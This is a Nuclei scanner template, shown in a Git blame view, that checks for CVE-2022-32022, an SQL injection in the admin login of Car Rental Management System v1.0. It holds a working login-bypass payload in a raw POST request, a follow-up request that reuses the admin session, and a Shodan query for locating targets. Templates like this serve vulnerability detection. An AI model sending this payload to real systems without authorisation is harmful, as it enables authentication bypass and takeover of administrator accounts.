nuclei-templates/cves/2022/CVE-2022-32022.yaml

44 lines
1.1 KiB
YAML
Raw Normal View History

2022-07-31 21:05:13 +00:00
id: CVE-2022-32022
info:
name: Car Rental Management System v1.0 - SQL Injection
author: arafatansari
severity: high
description: |
Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/ajax.php?action=login.
reference:
2022-08-02 06:52:12 +00:00
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-32022
2022-07-31 21:05:13 +00:00
metadata:
2022-08-02 06:52:12 +00:00
verified: true
2022-07-31 21:05:13 +00:00
shodan-query: http.html:"Car Rental Management System"
2022-08-02 09:28:16 +00:00
tags: cve,cve2022,carrental,cms,sqli,login-bypass
2022-07-31 21:05:13 +00:00
requests:
- raw:
- |
POST /admin/ajax.php?action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'+or+'1'%3D'1'%23&password=admin
2022-08-02 06:52:12 +00:00
- |
GET /admin/index.php?page=home HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2022-07-31 21:05:13 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-08-02 06:52:12 +00:00
- 'Welcome back Administrator!'
- 'action=logout'
- 'Manage Account'
condition: and
2022-07-31 21:05:13 +00:00
- type: status
status:
- 200